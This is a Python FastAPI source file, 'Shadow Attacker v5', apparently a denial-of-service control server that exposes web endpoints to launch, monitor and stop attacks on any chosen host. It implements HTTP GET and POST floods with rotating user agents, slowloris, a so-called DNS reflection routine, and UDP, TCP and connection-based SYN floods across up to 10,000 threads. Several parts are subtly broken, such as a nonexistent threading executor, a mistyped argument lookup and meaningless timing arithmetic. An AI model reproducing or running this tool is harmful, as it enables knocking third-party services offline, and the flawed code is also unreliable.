|
|
|
|
|
|
|
|
|
|
|
|
|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
import ssl |
|
|
import urllib.parse |
|
|
from collections import deque |
|
|
from typing import Dict, Optional, List |
|
|
|
|
|
import uvicorn |
|
|
import requests |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel, conint, constr |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(message)s") |
|
|
log = logging.getLogger() |
|
|
|
|
|
app = FastAPI(title="Shadow Attacker v5") |
|
|
|
|
|
|
|
|
attack_active = False |
|
|
attack_lock = threading.Lock() |
|
|
executor = None |
|
|
stop_event = threading.Event() |
|
|
counters: Dict[str, int] = {} |
|
|
counters_lock = threading.Lock() |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=500) |
|
|
attack_end_time = 0.0 |
|
|
|
|
|
|
|
|
last_time = time.time() |
|
|
last_total = 0 |
|
|
|
|
|
def _log(msg: str): |
|
|
ts = time.strftime("%H:%M:%S") |
|
|
log.info(f"{ts} {msg}") |
|
|
log_buffer.append(f"{ts} {msg}") |
|
|
|
|
|
|
|
|
class AttackConfig(BaseModel): |
|
|
target: str |
|
|
port: conint(ge=1, le=65535) = 80 |
|
|
duration: conint(ge=-1, le=10000) = 300 |
|
|
threads: conint(ge=-1, le=10000) = 1000 |
|
|
|
|
|
class Layer7Config(AttackConfig): |
|
|
method: constr(regex='^(get|post|slowloris|reflect)$') = "get" |
|
|
|
|
|
class Layer4Config(AttackConfig): |
|
|
protocol: constr(regex='^(tcp|udp|syn)$') = "udp" |
|
|
payload_size: conint(ge=1, le=65507) = 1024 |
|
|
|
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_type: Optional[str] |
|
|
target: Optional[str] |
|
|
total_packets: int |
|
|
pps: float |
|
|
threads_active: int |
|
|
duration: int |
|
|
elapsed: float |
|
|
remaining: float |
|
|
logs: List[str] |
|
|
|
|
|
|
|
|
def init_executor(): |
|
|
global executor |
|
|
if executor is None: |
|
|
executor = threading.ThreadPoolExecutor(max_workers=10000) |
|
|
|
|
|
|
|
|
def http_flood(target_url: str): |
|
|
global total_packets |
|
|
headers = { |
|
|
"User-Agent": random.choice([ |
|
|
"Mozilla/5.0", "Googlebot/2.1", "Chrome/120.0", "Safari/537.36" |
|
|
]), |
|
|
"Cache-Control": "no-cache", "Connection": "keep-alive" |
|
|
} |
|
|
session = requests.Session() |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
session.get(target_url, headers=headers, timeout=3, verify=False) |
|
|
with counters_lock: |
|
|
counters["l7"] = counters.get("l7", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def http_post_flood(target_url: str): |
|
|
global total_packets |
|
|
data = {"data": random._urandom(512).hex()} |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
requests.post(target_url, data=data, timeout=3, verify=False) |
|
|
with counters_lock: |
|
|
counters["l7"] = counters.get("l7", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def slowloris(target: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(5) |
|
|
sock.connect((target, port)) |
|
|
sock.send(b"GET / HTTP/1.1\r\n") |
|
|
sock.send(b"Host: %s\r\n" % target.encode()) |
|
|
time.sleep(5) |
|
|
while not stop_event.is_set(): |
|
|
sock.send(b"X-a: b\r\n") |
|
|
with counters_lock: |
|
|
counters["l7"] = counters.get("l7", 0) + 1 |
|
|
total_packets += 1 |
|
|
time.sleep(10) |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def dns_reflect(target_ip: str): |
|
|
global total_packets |
|
|
dns_servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"] |
|
|
payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(50) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
for server in dns_servers: |
|
|
sock.sendto(payload, (server, 53)) |
|
|
with counters_lock: |
|
|
counters["reflect"] = counters.get("reflect", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def udp_flood(target_ip: str, port: int, payload_size: int): |
|
|
global total_packets |
|
|
payload = random._urandom(payload_size) |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
addr = (target_ip, port) |
|
|
try: |
|
|
while not stop_event.is_set(): |
|
|
sock.sendto(payload, addr) |
|
|
with counters_lock: |
|
|
counters["l4"] = counters.get("l4", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
sock.close() |
|
|
|
|
|
|
|
|
def tcp_flood(target_ip: str, port: int, payload_size: int): |
|
|
global total_packets |
|
|
payload = random._urandom(payload_size) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(1) |
|
|
sock.connect((target_ip, port)) |
|
|
while not stop_event.is_set(): |
|
|
sock.send(payload) |
|
|
with counters_lock: |
|
|
counters["l4"] = counters.get("l4", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def syn_flood(target_ip: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(0.1) |
|
|
sock.connect_ex((target_ip, port)) |
|
|
with counters_lock: |
|
|
counters["l4"] = counters.get("l4", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def launch_attack(attack_type: str, target: str, port: int, threads: int, duration: int, **kwargs): |
|
|
global attack_active, attack_end_time, total_packets |
|
|
with attack_lock: |
|
|
if attack_active: |
|
|
raise HTTPException(400, "Attack already running") |
|
|
attack_active = True |
|
|
stop_event.clear() |
|
|
counters.clear() |
|
|
total_packets = 0 |
|
|
attack_end_time = time.time() + duration if duration > 0 else float('inf') |
|
|
_log(f"LAUNCHED {attack_type.upper()} → {target}:{port} | {threads} threads | {duration}s") |
|
|
|
|
|
init_executor() |
|
|
worker = None |
|
|
target_ip = target |
|
|
target_url = target |
|
|
|
|
|
if attack_type.startswith("http"): |
|
|
target_url = f"http://{target}:{port}" |
|
|
if attack_type == "http_get": worker = http_flood |
|
|
elif attack_type == "http_post": worker = http_post_flood |
|
|
elif attack_type == "slowloris": worker = lambda: slowloris(target, port) |
|
|
elif attack_type == "reflect": worker = lambda: dns_reflect(target) |
|
|
|
|
|
elif attack_type in ["udp", "tcp", "syn"]: |
|
|
try: |
|
|
target_ip = socket.gethostbyname(target.split("//")[-1].split("/")[0]) |
|
|
except: |
|
|
raise HTTPException(400, "Invalid target") |
|
|
payload_size = kwargs.get("payload_size, 1024") |
|
|
if attack_type == "udp": worker = lambda: udp_flood(target_ip, port, payload_size) |
|
|
elif attack_type == "tcp": worker = lambda: tcp_flood(target_ip, port, payload_size) |
|
|
elif attack_type == "syn": worker = lambda: syn_flood(target_ip, port) |
|
|
|
|
|
if not worker: |
|
|
raise HTTPException(400, "Invalid attack type") |
|
|
|
|
|
thread_count = threads if threads > 0 else 10000 |
|
|
for _ in range(thread_count): |
|
|
executor.submit(worker) |
|
|
|
|
|
|
|
|
if duration > 0: |
|
|
def auto_stop(): |
|
|
time.sleep(duration) |
|
|
stop_attack() |
|
|
threading.Thread(target=auto_stop, daemon=True).start() |
|
|
|
|
|
|
|
|
@app.post("/layer7/attack") |
|
|
def layer7_attack(config: Layer7Config): |
|
|
method = config.method |
|
|
attack_type = { |
|
|
"get": "http_get", |
|
|
"post": "http_post", |
|
|
"slowloris": "slowloris", |
|
|
"reflect": "reflect" |
|
|
}[method] |
|
|
launch_attack(attack_type, config.target, config.port, config.threads, config.duration) |
|
|
return {"status": f"{method}_attack_started", "config": config} |
|
|
|
|
|
@app.post("/layer4/attack") |
|
|
def layer4_attack(config: Layer4Config): |
|
|
attack_type = config.protocol |
|
|
launch_attack( |
|
|
attack_type, config.target, config.port, |
|
|
config.threads, config.duration, |
|
|
payload_size=config.payload_size |
|
|
) |
|
|
return {"status": f"{attack_type}_attack_started", "config": config} |
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack(): |
|
|
global attack_active |
|
|
with attack_lock: |
|
|
if not attack_active: |
|
|
return {"status": "no_attack_running"} |
|
|
stop_event.set() |
|
|
attack_active = False |
|
|
_log("ATTACK STOPPED BY USER") |
|
|
return {"status": "attack_stopped"} |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def status(): |
|
|
global last_time, last_total |
|
|
now = time.time() |
|
|
elapsed_global = now - last_time |
|
|
pps = (total_packets - last_total) / elapsed_global if elapsed_global > 0 else 0 |
|
|
last_time, last_total = now, total_packets |
|
|
|
|
|
active_threads = len([t for t in threading.enumerate() if t.name.startswith("Thread")]) |
|
|
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0 |
|
|
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1 |
|
|
|
|
|
return StatusResponse( |
|
|
running=attack_active, |
|
|
attack_type=list(counters.keys())[0] if counters else None, |
|
|
target=None, |
|
|
total_packets=total_packets, |
|
|
pps=round(pps, 1), |
|
|
threads_active=active_threads, |
|
|
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0, |
|
|
elapsed=round(elapsed, 1), |
|
|
remaining=round(remaining, 1) if remaining > 0 else -1, |
|
|
logs=list(log_buffer) |
|
|
) |
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return {"message": "Shadow Attacker v5 - /docs for API"} |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
init_executor() |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1) |